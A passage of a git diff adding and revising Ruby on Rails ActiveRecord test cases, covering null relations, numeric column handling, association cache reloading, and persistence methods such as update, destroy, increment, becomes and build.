+  fixtures :posts, :comments
+
+  def test_none
+    assert_no_queries do
+      assert_equal [], Developer.none
+      assert_equal [], Developer.all.none
+    end
+  end
+
+  def test_none_chainable
+    assert_queries_count(0) do
+      assert_equal [], Developer.none.where(name: "David")
+    end
+  end
+
+  def test_none_chainable_to_existing_scope_extension_method
+    assert_no_queries do
+      assert_equal 1, Topic.anonymous_extension.none.one
+    end
+  end
+
+  def test_async_query_on_null_relation
+    assert_no_queries do
+      assert_equal [], Developer.none.load_async.load
+    end
+  end
+
+  def test_none_chained_to_methods_firing_queries_straight_to_db
+    assert_no_queries do
+      assert_equal [],    Developer.none.pluck(:id, :name)
+      assert_equal 0,     Developer.none.delete_all
+      assert_equal 0,     Developer.none.update_all(name: "David")
+      assert_equal 0,     Developer.none.delete(1)
+      assert_equal false, Developer.none.exists?(1)
+    end
+  end
+
+  def test_null_relation_content_size_methods
+    assert_no_queries do
+      assert_equal 0,     Developer.none.size
+      assert_equal 0,     Developer.none.count
+      assert_equal true,  Developer.none.empty?
+      assert_equal true,  Developer.none.none?
+      assert_equal false, Developer.none.any?
+      assert_equal false, Developer.none.one?
+      assert_equal false, Developer.none.many?
+    end
+  end
+
+  def test_null_relation_used_with_constraints
+    post = Post.first
+    assert_no_queries do
+      scope = post.comments
+      none = Post.none
+      scope = scope.merge(none)
+      assert_equal 0, scope.size
+    end
+  end
+
+  def test_null_relation_metadata_methods
+    assert_includes Developer.none.to_sql, " WHERE (1=0)"
+    assert_equal({}, Developer.none.where_values_hash)
+  end
+
+  def test_null_relation_where_values_hash
+    assert_equal({ "salary" => 100_000 }, Developer.none.where(salary: 100_000).where_values_hash)
+  end
+
+  [:count, :sum].each do |method|
+    define_method "test_null_relation_#{method}" do
+      assert_no_queries do
+        assert_equal 0, Comment.none.public_send(method, :id)
+        assert_equal Hash.new, Comment.none.group(:post_id).public_send(method, :id)
+      end
+    end
+
+    define_method "test_null_relation_#{method}_async" do
+      assert_no_queries do
+        assert_async_equal 0, Comment.none.public_send("async_#{method}", :id)
+        assert_async_equal Hash.new, Comment.none.group(:post_id).public_send("async_#{method}", :id)
+      end
+    end
+  end
+
+  [:average, :minimum, :maximum].each do |method|
+    define_method "test_null_relation_#{method}" do
+      assert_no_queries do
+        assert_nil Comment.none.public_send(method, :id)
+        assert_equal Hash.new, Comment.none.group(:post_id).public_send(method, :id)
+      end
+    end
+
+    define_method "test_null_relation_#{method}_async" do
+      assert_no_queries do
+        assert_async_equal nil, Comment.none.public_send("async_#{method}", :id)
+        assert_async_equal Hash.new, Comment.none.group(:post_id).public_send("async_#{method}", :id)
+      end
+    end
+  end
+
+  def test_null_relation_in_where_condition
+    assert_operator Comment.count, :>, 0 # precondition, make sure there are comments.
+    assert_equal 0, Comment.where(post_id: Post.none).count
+  end
+end
diff --git a/activerecord/test/cases/numeric_data_test.rb b/activerecord/test/cases/numeric_data_test.rb
new file mode 100644
index 0000000000000..079e664ee407e
--- /dev/null
+++ b/activerecord/test/cases/numeric_data_test.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/numeric_data"
+
+class NumericDataTest < ActiveRecord::TestCase
+  def test_big_decimal_conditions
+    m = NumericData.new(
+      bank_balance: 1586.43,
+      big_bank_balance: BigDecimal("1000234000567.95"),
+      world_population: 6000000000,
+      my_house_population: 3
+    )
+    assert m.save
+    assert_equal 0, NumericData.where("bank_balance > ?", 2000.0).count
+  end
+
+  def test_numeric_fields
+    m = NumericData.new(
+      bank_balance: 1586.43,
+      big_bank_balance: BigDecimal("1000234000567.95"),
+      world_population: 2**62,
+      my_house_population: 3
+    )
+    assert m.save
+
+    m1 = NumericData.find_by(
+      bank_balance: 1586.43,
+      big_bank_balance: BigDecimal("1000234000567.95")
+    )
+
+    assert_kind_of Integer, m1.world_population
+    assert_equal 2**62, m1.world_population
+
+    assert_kind_of Integer, m1.my_house_population
+    assert_equal 3, m1.my_house_population
+
+    assert_kind_of BigDecimal, m1.bank_balance
+    assert_equal BigDecimal("1586.43"), m1.bank_balance
+
+    assert_kind_of BigDecimal, m1.big_bank_balance
+    assert_equal BigDecimal("1000234000567.95"), m1.big_bank_balance
+  end
+
+  def test_numeric_fields_with_scale
+    m = NumericData.new(
+      bank_balance: 1586.43122334,
+      big_bank_balance: BigDecimal("234000567.952344"),
+      world_population: 2**62,
+      my_house_population: 3
+    )
+    assert m.save
+
+    m1 = NumericData.find_by(
+      bank_balance: 1586.43122334,
+      big_bank_balance: BigDecimal("234000567.952344")
+    )
+
+    assert_kind_of Integer, m1.world_population
+    assert_equal 2**62, m1.world_population
+
+    assert_kind_of Integer, m1.my_house_population
+    assert_equal 3, m1.my_house_population
+
+    assert_kind_of BigDecimal, m1.bank_balance
+    assert_equal BigDecimal("1586.43"), m1.bank_balance
+
+    assert_kind_of BigDecimal, m1.big_bank_balance
+    assert_equal BigDecimal("234000567.95"), m1.big_bank_balance
+  end
+
+  if current_adapter?(:PostgreSQLAdapter)
+    def test_numeric_fields_with_nan
+      m = NumericData.new(
+        bank_balance: BigDecimal("NaN"),
+        big_bank_balance: BigDecimal("NaN"),
+        world_population: 2**62,
+        my_house_population: 3
+      )
+      assert_predicate m.bank_balance, :nan?
+      assert_predicate m.big_bank_balance, :nan?
+      assert m.save
+
+      m1 = NumericData.find_by(
+        bank_balance: BigDecimal("NaN"),
+        big_bank_balance: BigDecimal("NaN")
+      )
+
+      assert_predicate m1.bank_balance, :nan?
+      assert_predicate m1.big_bank_balance, :nan?
+    end
+  end
+end
diff --git a/activerecord/test/cases/persistence/reload_association_cache_test.rb b/activerecord/test/cases/persistence/reload_association_cache_test.rb
new file mode 100644
index 0000000000000..caf9d4fd10dd5
--- /dev/null
+++ b/activerecord/test/cases/persistence/reload_association_cache_test.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/publication"
+require "models/editorship"
+require "models/editor"
+
+class ReloadAssociationCacheTest < ActiveRecord::TestCase
+  def test_reload_sets_correct_owner_for_association_cache
+    publication = Publication.create!(name: "Rails Way")
+    assert_equal "Rails Way (touched)", publication.name
+    publication.reload
+    assert_equal "Rails Way", publication.name
+    publication.transaction do
+      publication.editors = [publication.build_editor_in_chief(name: "Alex Black")]
+      publication.save!
+    end
+    assert_equal "Rails Way (touched)", publication.name
+  end
+end
diff --git a/activerecord/test/cases/persistence_test.rb b/activerecord/test/cases/persistence_test.rb
index 5b7e2fd008e26..96d1d0d68cee2 100644
--- a/activerecord/test/cases/persistence_test.rb
+++ b/activerecord/test/cases/persistence_test.rb
@@ -1,5 +1,10 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "models/auto_id"
 require "models/aircraft"
+require "models/dashboard"
+require "models/clothing_item"
 require "models/post"
 require "models/comment"
 require "models/author"
@@ -11,58 +16,102 @@
 require "models/computer"
 require "models/project"
 require "models/minimalistic"
-require "models/warehouse_thing"
 require "models/parrot"
 require "models/minivan"
-require "models/owner"
+require "models/car"
 require "models/person"
-require "models/pet"
 require "models/ship"
-require "models/toy"
 require "models/admin"
 require "models/admin/user"
-require "rexml/document"
+require "models/cpk"
+require "models/chat_message"
+require "models/default"
+require "models/post_with_prefetched_pk"
+require "models/pk_autopopulated_by_a_trigger_record"
 
 class PersistenceTest < ActiveRecord::TestCase
-  fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, "warehouse-things", :authors, :author_addresses, :categorizations, :categories, :posts, :minivans, :pets, :toys
-
-  # Oracle UPDATE does not support ORDER BY
-  unless current_adapter?(:OracleAdapter)
-    def test_update_all_ignores_order_without_limit_from_association
-      author = authors(:david)
-      assert_nothing_raised do
-        assert_equal author.posts_with_comments_and_categories.length, author.posts_with_comments_and_categories.update_all([ "body = ?", "bulk update!" ])
-      end
-    end
+  fixtures :topics, :companies, :developers, :accounts, :minimalistics, :authors, :author_addresses,
+    :posts, :minivans, :clothing_items, :cpk_books, :people, :cars
 
-    def test_update_all_doesnt_ignore_order
-      assert_equal authors(:david).id + 1, authors(:mary).id # make sure there is going to be a duplicate PK error
-      test_update_with_order_succeeds = lambda do |order|
-        begin
-          Author.order(order).update_all("id = id + 1")
-        rescue ActiveRecord::ActiveRecordError
-          false
-        end
+  def test_populates_non_primary_key_autoincremented_column
+    topic = TitlePrimaryKeyTopic.create!(title: "title pk topic")
+
+    assert_not_nil topic.attributes["id"]
+  end
+
+  def test_populates_autoincremented_id_pk_regardless_of_its_position_in_columns_list
+    auto_populated_column_names = AutoId.columns.select(&:auto_populated?).map(&:name)
+
+    # It's important we test a scenario where tables has more than one auto populated column
+    # and the first column is not the primary key. Otherwise it will be a regular test not asserting this special case.
+    assert auto_populated_column_names.size > 1
+    assert_not_equal AutoId.primary_key, auto_populated_column_names.first
+
+    record = AutoId.create!
+    last_id = AutoId.last.id
+
+    assert_not_nil last_id
+    assert last_id > 0
+    assert_equal last_id, record.id
+  end
+
+  def test_populates_non_primary_key_autoincremented_column_for_a_cpk_model
+    order = Cpk::Order.create(shop_id: 111_222)
+
+    _shop_id, order_id = order.id
+
+    assert_not_nil order_id
+  end
+
+  if current_adapter?(:PostgreSQLAdapter)
+    def test_fills_auto_populated_columns_on_creation
+      record = Default.create
+      assert_not_nil record.id
+      assert_equal "Ruby on Rails", record.ruby_on_rails
+
+      if supports_virtual_columns?
+        assert_not_nil record.virtual_stored_number
       end
 
-      if test_update_with_order_succeeds.call("id DESC")
-        assert !test_update_with_order_succeeds.call("id ASC") # test that this wasn't a fluke and using an incorrect order results in an exception
-      else
-        # test that we're failing because the current Arel's engine doesn't support UPDATE ORDER BY queries is using subselects instead
-        assert_sql(/\AUPDATE .+ \(SELECT .* ORDER BY id DESC\)\Z/i) do
-          test_update_with_order_succeeds.call("id DESC")
+      assert_not_nil record.random_number
+      assert_not_nil record.modified_date
+      assert_not_nil record.modified_date_function
+      assert_not_nil record.modified_time
+      assert_not_nil record.modified_time_without_precision
+      assert_not_nil record.modified_time_function
+
+      assert_equal "A", record.binary_default_function
+
+      if supports_identity_columns?
+        klass = Class.new(ActiveRecord::Base) do
+          self.table_name = "postgresql_identity_table"
         end
+
+        record = klass.create!
+        assert_not_nil record.id
       end
     end
-
-    def test_update_all_with_order_and_limit_updates_subset_only
-      author = authors(:david)
-      assert_nothing_raised do
-        assert_equal 1, author.posts_sorted_by_id_limited.size
-        assert_equal 2, author.posts_sorted_by_id_limited.limit(2).to_a.size
-        assert_equal 1, author.posts_sorted_by_id_limited.update_all([ "body = ?", "bulk update!" ])
-        assert_equal "bulk update!", posts(:welcome).body
-        assert_not_equal "bulk update!", posts(:thinking).body
+  elsif current_adapter?(:SQLite3Adapter)
+    def test_fills_auto_populated_columns_on_creation
+      record = Default.create
+      assert_not_nil record.id
+      assert_equal "Ruby on Rails", record.ruby_on_rails
+
+      assert_not_nil record.random_number
+      assert_not_nil record.modified_date
+      assert_not_nil record.modified_date_function
+      assert_not_nil record.modified_time
+      assert_not_nil record.modified_time_without_precision
+      assert_not_nil record.modified_time_function
+    end
+  elsif current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+    def test_fills_auto_populated_columns_on_creation
+      record = Default.create
+      assert_not_nil record.id
+      assert_not_nil record.char1
+
+      if supports_default_expression? && supports_insert_returning?
+        assert_not_nil record.uuid
       end
     end
   end
@@ -71,43 +120,177 @@ def test_update_many
     topic_data = { 1 => { "content" => "1 updated" }, 2 => { "content" => "2 updated" } }
     updated = Topic.update(topic_data.keys, topic_data.values)
 
-    assert_equal 2, updated.size
+    assert_equal [1, 2], updated.map(&:id)
     assert_equal "1 updated", Topic.find(1).content
     assert_equal "2 updated", Topic.find(2).content
   end
 
-  def test_delete_all
-    assert Topic.count > 0
+  def test_update_many_with_duplicated_ids
+    updated = Topic.update([1, 1, 2], [
+      { "content" => "1 duplicated" }, { "content" => "1 updated" }, { "content" => "2 updated" }
+    ])
 
-    assert_equal Topic.count, Topic.delete_all
+    assert_equal [1, 1, 2], updated.map(&:id)
+    assert_equal "1 updated", Topic.find(1).content
+    assert_equal "2 updated", Topic.find(2).content
   end
 
-  def test_delete_all_with_joins_and_where_part_is_hash
-    where_args = { toys: { name: "Bone" } }
-    count = Pet.joins(:toys).where(where_args).count
+  def test_update_many_with_invalid_id
+    topic_data = { 1 => { "content" => "1 updated" }, 2 => { "content" => "2 updated" }, 99999 => {} }
 
-    assert_equal count, 1
-    assert_equal count, Pet.joins(:toys).where(where_args).delete_all
+    assert_raise(ActiveRecord::RecordNotFound) do
+      Topic.update(topic_data.keys, topic_data.values)
+    end
+
+    assert_not_equal "1 updated", Topic.find(1).content
+    assert_not_equal "2 updated", Topic.find(2).content
+  end
+
+  def test_update_many_with_active_record_base_object
+    error = assert_raises(ArgumentError) do
+      Topic.update(Topic.first, "content" => "1 updated")
+    end
+
+    assert_equal "You are passing an instance of ActiveRecord::Base to `update`. " \
+    "Please pass the id of the object by calling `.id`.", error.message
+
+    assert_not_equal "1 updated", Topic.first.content
   end
 
-  def test_delete_all_with_left_joins
-    where_args = { toys: { name: "Bone" } }
-    count = Pet.left_joins(:toys).where(where_args).count
+  def test_update_many_with_array_of_active_record_base_objects
+    error = assert_raise(ArgumentError) do
+      Topic.update(Topic.first(2), content: "updated")
+    end
+
+    assert_equal "You are passing an array of ActiveRecord::Base instances to `update`. " \
+    "Please pass the ids of the objects by calling `pluck(:id)` or `map(&:id)`.", error.message
 
-    assert_equal count, 1
-    assert_equal count, Pet.left_joins(:toys).where(where_args).delete_all
+    assert_not_equal "updated", Topic.first.content
+    assert_not_equal "updated", Topic.second.content
   end
 
-  def test_delete_all_with_joins_and_where_part_is_not_hash
-    where_args = ["toys.name = ?", "Bone"]
-    count = Pet.joins(:toys).where(where_args).count
+  def test_class_level_update_without_ids
+    topics = Topic.all
+    assert_equal 5, topics.length
+    topics.each do |topic|
+      assert_not_equal "updated", topic.content
+    end
 
-    assert_equal count, 1
-    assert_equal count, Pet.joins(:toys).where(where_args).delete_all
+    updated = Topic.update(content: "updated")
+    assert_equal 5, updated.length
+    updated.each do |topic|
+      assert_equal "updated", topic.content
+    end
+  end
+
+  def test_class_level_update_is_affected_by_scoping
+    topic_data = { 1 => { "content" => "1 updated" }, 2 => { "content" => "2 updated" } }
+
+    assert_raise(ActiveRecord::RecordNotFound) do
+      Topic.where("1=0").scoping { Topic.update(topic_data.keys, topic_data.values) }
+    end
+
+    assert_not_equal "1 updated", Topic.find(1).content
+    assert_not_equal "2 updated", Topic.find(2).content
+  end
+
+  def test_returns_object_even_if_validations_failed
+    assert_equal Developer.all.to_a, Developer.update(salary: 1_000_000)
+  end
+
+  def test_update_many!
+    topic_data = { 1 => { "content" => "1 updated" }, 2 => { "content" => "2 updated" } }
+    updated = Topic.update!(topic_data.keys, topic_data.values)
+
+    assert_equal [1, 2], updated.map(&:id)
+    assert_equal "1 updated", Topic.find(1).content
+    assert_equal "2 updated", Topic.find(2).content
+  end
+
+  def test_update_many_with_duplicated_ids!
+    updated = Topic.update!([1, 1, 2], [
+      { "content" => "1 duplicated" }, { "content" => "1 updated" }, { "content" => "2 updated" }
+    ])
+
+    assert_equal [1, 1, 2], updated.map(&:id)
+    assert_equal "1 updated", Topic.find(1).content
+    assert_equal "2 updated", Topic.find(2).content
+  end
+
+  def test_update_many_with_invalid_id!
+    topic_data = { 1 => { "content" => "1 updated" }, 2 => { "content" => "2 updated" }, 99999 => {} }
+
+    assert_raise(ActiveRecord::RecordNotFound) do
+      Topic.update!(topic_data.keys, topic_data.values)
+    end
+
+    assert_not_equal "1 updated", Topic.find(1).content
+    assert_not_equal "2 updated", Topic.find(2).content
+  end
+
+  def test_update_many_with_active_record_base_object!
+    error = assert_raises(ArgumentError) do
+      Topic.update!(Topic.first, "content" => "1 updated")
+    end
+
+    assert_equal "You are passing an instance of ActiveRecord::Base to `update!`. " \
+    "Please pass the id of the object by calling `.id`.", error.message
+
+    assert_not_equal "1 updated", Topic.first.content
+  end
+
+  def test_update_many_with_array_of_active_record_base_objects!
+    error = assert_raise(ArgumentError) do
+      Topic.update!(Topic.first(2), content: "updated")
+    end
+
+    assert_equal "You are passing an array of ActiveRecord::Base instances to `update!`. " \
+    "Please pass the ids of the objects by calling `pluck(:id)` or `map(&:id)`.", error.message
+
+    assert_not_equal "updated", Topic.first.content
+    assert_not_equal "updated", Topic.second.content
+  end
+
+  def test_class_level_update_without_ids!
+    topics = Topic.all
+    assert_equal 5, topics.length
+    topics.each do |topic|
+      assert_not_equal "updated", topic.content
+    end
+
+    updated = Topic.update!(content: "updated")
+    assert_equal 5, updated.length
+    updated.each do |topic|
+      assert_equal "updated", topic.content
+    end
+  end
+
+  def test_class_level_update_is_affected_by_scoping!
+    topic_data = { 1 => { "content" => "1 updated" }, 2 => { "content" => "2 updated" } }
+
+    assert_raise(ActiveRecord::RecordNotFound) do
+      Topic.where("1=0").scoping { Topic.update!(topic_data.keys, topic_data.values) }
+    end
+
+    assert_not_equal "1 updated", Topic.find(1).content
+    assert_not_equal "2 updated", Topic.find(2).content
+  end
+
+  def test_raises_error_when_validations_failed
+    assert_raises(ActiveRecord::RecordInvalid) do
+      Developer.update!(salary: 1_000_000)
+    end
+  end
+
+  def test_delete_all
+    assert Topic.count > 0
+
+    assert_equal Topic.count, Topic.delete_all
   end
 
   def test_increment_attribute
     assert_equal 50, accounts(:signals37).credit_limit
+
     accounts(:signals37).increment! :credit_limit
     assert_equal 51, accounts(:signals37, :reload).credit_limit
 
@@ -115,6 +298,16 @@ def test_increment_attribute
     assert_equal 53, accounts(:signals37, :reload).credit_limit
   end
 
+  def test_increment_aliased_attribute
+    assert_equal 50, accounts(:signals37).available_credit
+
+    accounts(:signals37).increment!(:available_credit)
+    assert_equal 51, accounts(:signals37, :reload).available_credit
+
+    accounts(:signals37).increment(:available_credit).increment!(:available_credit)
+    assert_equal 53, accounts(:signals37, :reload).available_credit
+  end
+
   def test_increment_nil_attribute
     assert_nil topics(:first).parent_id
     topics(:first).increment! :parent_id
@@ -139,47 +332,128 @@ def test_increment_updates_counter_in_db_using_offset
     assert_equal initial_credit + 2, a1.reload.credit_limit
   end
 
-  def test_increment_updates_timestamps
+  def test_increment_with_touch_updates_timestamps
+    topic = topics(:first)
+    assert_equal 1, topic.replies_count
+    previously_updated_at = topic.updated_at
+    travel(1.second) do
+      topic.increment!(:replies_count, touch: true)
+    end
+    assert_equal 2, topic.reload.replies_count
+    assert_operator previously_updated_at, :<, topic.updated_at
+  end
+
+  def test_increment_with_touch_an_attribute_updates_timestamps
     topic = topics(:first)
-    topic.update_columns(updated_at: 5.minutes.ago)
-    previous_updated_at = topic.updated_at
-    topic.increment!(:replies_count, touch: true)
-    assert_operator previous_updated_at, :<, topic.reload.updated_at
+    assert_equal 1, topic.replies_count
+    previously_updated_at = topic.updated_at
+    previously_written_on = topic.written_on
+    travel(1.second) do
+      topic.increment!(:replies_count, touch: :written_on)
+    end
+    assert_equal 2, topic.reload.replies_count
+    assert_operator previously_updated_at, :<, topic.updated_at
+    assert_operator previously_written_on, :<, topic.written_on
+  end
+
+  def test_increment_with_no_arg
+    topic = topics(:first)
+    assert_raises(ArgumentError) { topic.increment! }
+  end
+
+  def test_increment_new_record
+    topic = Topic.new
+
+    assert_no_queries do
+      assert_raises ActiveRecord::ActiveRecordError do
+        topic.increment!(:replies_count)
+      end
+    end
   end
 
-  def test_destroy_all
-    conditions = "author_name = 'Mary'"
-    topics_by_mary = Topic.all.merge!(where: conditions, order: "id").to_a
-    assert ! topics_by_mary.empty?
+  def test_increment_destroyed_record
+    topic = topics(:first)
+    topic.destroy
 
-    assert_difference("Topic.count", -topics_by_mary.size) do
-      destroyed = Topic.where(conditions).destroy_all.sort_by(&:id)
-      assert_equal topics_by_mary, destroyed
-      assert destroyed.all?(&:frozen?), "destroyed topics should be frozen"
+    assert_no_queries do
+      assert_raises ActiveRecord::ActiveRecordError do
+        topic.increment!(:replies_count)
+      end
     end
   end
 
   def test_destroy_many
-    clients = Client.all.merge!(order: "id").find([2, 3])
+    clients = Client.find([2, 3])
 
     assert_difference("Client.count", -2) do
-      destroyed = Client.destroy([2, 3]).sort_by(&:id)
+      destroyed = Client.destroy([2, 3])
       assert_equal clients, destroyed
       assert destroyed.all?(&:frozen?), "destroyed clients should be frozen"
     end
   end
 
+  def test_destroy_many_with_invalid_id
+    clients = Client.find([2, 3])
+
+    assert_raise(ActiveRecord::RecordNotFound) do
+      Client.destroy([2, 3, 99999])
+    end
+
+    assert_equal clients, Client.find([2, 3])
+  end
+
+  def test_destroy_with_single_composite_primary_key
+    book = cpk_books(:cpk_great_author_first_book)
+
+    assert_difference("Cpk::Book.count", -1) do
+      destroyed = Cpk::Book.destroy(book.id)
+      assert_equal destroyed, book
+    end
+  end
+
+  def test_destroy_with_multiple_composite_primary_keys
+    books = [
+      cpk_books(:cpk_great_author_first_book),
+      cpk_books(:cpk_great_author_second_book),
+    ]
+
+    assert_difference("Cpk::Book.count", -2) do
+      destroyed = Cpk::Book.destroy(books.map(&:id))
+      assert_equal books.sort, destroyed.sort
+      assert destroyed.all?(&:frozen?), "destroyed clients should be frozen"
+    end
+  end
+
+  def test_destroy_with_invalid_ids_for_a_model_that_expects_composite_keys
+    books = [
+      cpk_books(:cpk_great_author_first_book),
+      cpk_books(:cpk_great_author_second_book),
+    ]
+
+    assert_raise(ActiveRecord::RecordNotFound) do
+      ids = books.map { |book| book.id.first }
+      Cpk::Book.destroy(ids)
+    end
+  end
+
   def test_becomes
     assert_kind_of Reply, topics(:first).becomes(Reply)
     assert_equal "The First Topic", topics(:first).becomes(Reply).title
   end
 
+  def test_becomes_after_reload_schema_from_cache
+    Reply.define_attribute_methods
+    Reply.serialize(:content) # invoke reload_schema_from_cache
+    assert_kind_of Reply, topics(:first).becomes(Reply)
+    assert_equal "The First Topic", topics(:first).becomes(Reply).title
+  end
+
   def test_becomes_includes_errors
     company = Company.new(name: nil)
-    assert !company.valid?
+    assert_not_predicate company, :valid?
     original_errors = company.errors
     client = company.becomes(Client)
-    assert_equal original_errors.keys, client.errors.keys
+    assert_equal original_errors.attribute_names, client.errors.attribute_names
   end
 
   def test_becomes_errors_base
@@ -193,7 +467,7 @@ def self.name; "Admin::ChildUser"; end
     admin.errors.add :token, :invalid
     child = admin.becomes(child_class)
 
-    assert_equal [:token], child.errors.keys
+    assert_equal [:token], child.errors.attribute_names
     assert_nothing_raised do
       child.errors.add :foo, :invalid
     end
@@ -206,6 +480,17 @@ def test_duped_becomes_persists_changes_from_the_original
     assert_equal "The First Topic", Topic.find(copy.id).title
   end
 
+  def test_becomes_wont_break_mutation_tracking
+    topic = topics(:first)
+    reply = topic.becomes(Reply)
+
+    assert_equal 1, topic.id_in_database
+    assert_empty topic.attributes_in_database
+
+    assert_equal 1, reply.id_in_database
+    assert_empty reply.attributes_in_database
+  end
+
   def test_becomes_includes_changed_attributes
     company = Company.new(name: "37signals")
     client = company.becomes(Client)
@@ -213,6 +498,41 @@ def test_becomes_includes_changed_attributes
     assert_equal %w{name}, client.changed
   end
 
+  def test_becomes_preserve_record_status
+    company = Company.new(name: "37signals")
+    client = company.becomes(Client)
+    assert_predicate client, :new_record?
+
+    company.save
+    client = company.becomes(Client)
+    assert_predicate client, :persisted?
+    assert_predicate client, :previously_new_record?
+  end
+
+  def test_becomes_initializes_missing_attributes
+    company = Company.new(name: "GrowingCompany")
+
+    client = company.becomes(LargeClient)
+
+    assert_equal 50, client.extra_size
+  end
+
+  def test_becomes_keeps_extra_attributes
+    client = LargeClient.new(name: "ShrinkingCompany")
+
+    company = client.becomes(Company)
+
+    assert_equal 50, company.extra_size
+    assert_equal 50, client.extra_size
+  end
+
+  def test_becomes_same_class_makes_clone
+    original = Company.new(name: "GrowingCompany")
+    clone = original.becomes(Company)
+    assert_instance_of Company, clone
+    assert_not_equal original.object_id, clone.object_id
+  end
+
   def test_delete_many
     original_count = Topic.count
     Topic.delete(deleting = [1, 2])
@@ -238,12 +558,28 @@ def test_decrement_attribute_by
     assert_equal 41, accounts(:signals37, :reload).credit_limit
   end
 
-  def test_decrement_updates_timestamps
+  def test_decrement_with_touch_updates_timestamps
+    topic = topics(:first)
+    assert_equal 1, topic.replies_count
+    previously_updated_at = topic.updated_at
+    travel(1.second) do
+      topic.decrement!(:replies_count, touch: true)
+    end
+    assert_equal 0, topic.reload.replies_count
+    assert_operator previously_updated_at, :<, topic.updated_at
+  end
+
+  def test_decrement_with_touch_an_attribute_updates_timestamps
     topic = topics(:first)
-    topic.update_columns(updated_at: 5.minutes.ago)
-    previous_updated_at = topic.updated_at
-    topic.decrement!(:replies_count, touch: true)
-    assert_operator previous_updated_at, :<, topic.reload.updated_at
+    assert_equal 1, topic.replies_count
+    previously_updated_at = topic.updated_at
+    previously_written_on = topic.written_on
+    travel(1.second) do
+      topic.decrement!(:replies_count, touch: :written_on)
+    end
+    assert_equal 0, topic.reload.replies_count
+    assert_operator previously_updated_at, :<, topic.updated_at
+    assert_operator previously_written_on, :<, topic.written_on
   end
 
   def test_create
@@ -254,12 +590,81 @@ def test_create
     assert_equal("New Topic", topic_reloaded.title)
   end
 
-  def test_save!
+  def test_create_prefetched_pk
+    post = PostWithPrefetchedPk.create!(title: "New Message", body: "New Body")
+    assert_equal 123456, post.id
+  end
+
+  def test_create_model_with_uuid_pk_populates_id
+    message = ChatMessage.create(content: "New Message")
+    assert_not_nil message.id
+
+    message_reloaded = ChatMessage.find(message.id)
+    assert_equal "New Message", message_reloaded.content
+  end if current_adapter?(:PostgreSQLAdapter)
+
+
+  def test_create_model_with_custom_named_uuid_pk_populates_id
+    message = ChatMessageCustomPk.create(content: "New Message")
+    assert_not_nil message.message_id
+
+    message_reloaded = ChatMessageCustomPk.find(message.message_id)
+    assert_equal "New Message", message_reloaded.content
+  end if current_adapter?(:PostgreSQLAdapter)
+
+  def test_build
+    topic = Topic.build(title: "New Topic")
+    assert_equal "New Topic", topic.title
+    assert_not_predicate topic, :persisted?
+  end
+
+  def test_build_many
+    topics = Topic.build([{ title: "first" }, { title: "second" }])
+    assert_equal ["first", "second"], topics.map(&:title)
+    topics.each { |topic| assert_not_predicate topic, :persisted? }
+  end
+
+  def test_build_through_factory_with_block
+    topic = Topic.build("title" => "New Topic") do |t|
+      t.author_name = "David"
+    end
+    assert_equal("New Topic", topic.title)
+    assert_equal("David", topic.author_name)
+    assert_not_predicate topic, :persisted?
+  end
+
+  def test_build_many_through_factory_with_block
+    topics = Topic.build([{ "title" => "first" }, { "title" => "second" }]) do |t|
+      t.author_name = "David"
+    end
+    assert_equal 2, topics.size
+    topics.each { |topic| assert_not_predicate topic, :persisted? }
+    topic1, topic2 = topics
+    assert_equal "first", topic1.title
+    assert_equal "David", topic1.author_name
+    assert_equal "second", topic2.title
+    assert_equal "David", topic2.author_name
+  end
+
+  def test_save_valid_record
     topic = Topic.new(title: "New Topic")
     assert topic.save!
+  end
 
-    reply = WrongReply.new
-    assert_raise(ActiveRecord::RecordInvalid) { reply.save! }
+  def test_save_invalid_record
+    reply = WrongReply.new(title: "New reply")
+    error = assert_raise(ActiveRecord::RecordInvalid) { reply.save! }
+
+    assert_equal "Validation failed: Content Empty", error.message
+  end
+
+  def test_save_destroyed_object
+    topic = Topic.create!(title: "New Topic")
+    topic.destroy!
+
+    error = assert_raise(ActiveRecord::RecordNotSaved) { topic.save! }
+
+    assert_equal "Failed to save the record", error.message
   end
 
   def test_save_null_string_attributes
@@ -293,8 +698,8 @@ def test_save_with_duping_of_destroyed_object
     developer.destroy
     new_developer = developer.dup
     new_developer.save
-    assert new_developer.persisted?
-    assert_not new_developer.destroyed?
+    assert_predicate new_developer, :persisted?
+    assert_not_predicate new_developer, :destroyed?
   end
 
   def test_create_many
@@ -305,12 +710,13 @@ def test_create_many
 
   def test_create_columns_not_equal_attributes
     topic = Topic.instantiate(
-      "attributes" => {
-        "title"          => "Another New Topic",
-        "does_not_exist" => "test"
-      }
+      "title"          => "Another New Topic",
+      "does_not_exist" => "test"
     )
+    topic = topic.dup # reset @new_record
     assert_nothing_raised { topic.save }
+    assert_predicate topic, :persisted?
+    assert_equal "Another New Topic", topic.reload.title
   end
 
   def test_create_through_factory_with_block
@@ -357,6 +763,8 @@ def test_update_columns_not_equal_attributes
     topic_reloaded = Topic.instantiate(topic.attributes.merge("does_not_exist" => "test"))
     topic_reloaded.title = "A New Topic"
     assert_nothing_raised { topic_reloaded.save }
+    assert_predicate topic_reloaded, :persisted?
+    assert_equal "A New Topic", topic_reloaded.reload.title
   end
 
   def test_update_for_record_with_only_primary_key
@@ -393,6 +801,22 @@ def test_update_sti_subclass_type
     assert_instance_of Reply, Reply.find(reply.id)
   end
 
+  def test_becomes_default_sti_subclass
+    original_type = Topic.columns_hash["type"].default
+    ActiveRecord::Base.lease_connection.change_column_default :topics, :type, "Reply"
+    Topic.reset_column_information
+
+    reply = topics(:second)
+    assert_instance_of Reply, reply
+
+    topic = reply.becomes(Topic)
+    assert_instance_of Topic, topic
+
+  ensure
+    ActiveRecord::Base.lease_connection.change_column_default :topics, :type, original_type
+    Topic.reset_column_information
+  end
+
   def test_update_after_create
     klass = Class.new(Topic) do
       def self.name; "Topic"; end
@@ -409,26 +833,69 @@ def self.name; "Topic"; end
     assert_equal("David", topic_reloaded.author_name)
   end
 
-  def test_update_attribute_does_not_run_sql_if_attribute_is_not_changed
+  def test_update_attribute_after_update
     klass = Class.new(Topic) do
       def self.name; "Topic"; end
+      after_update :update_author, if: :saved_change_to_title?
+      def update_author
+        update_attribute("author_name", "David")
+      end
     end
-    topic = klass.create(title: "Another New Topic")
-    assert_queries(0) do
+    topic = klass.create(title: "New Topic")
+    topic.update(title: "Another Topic")
+
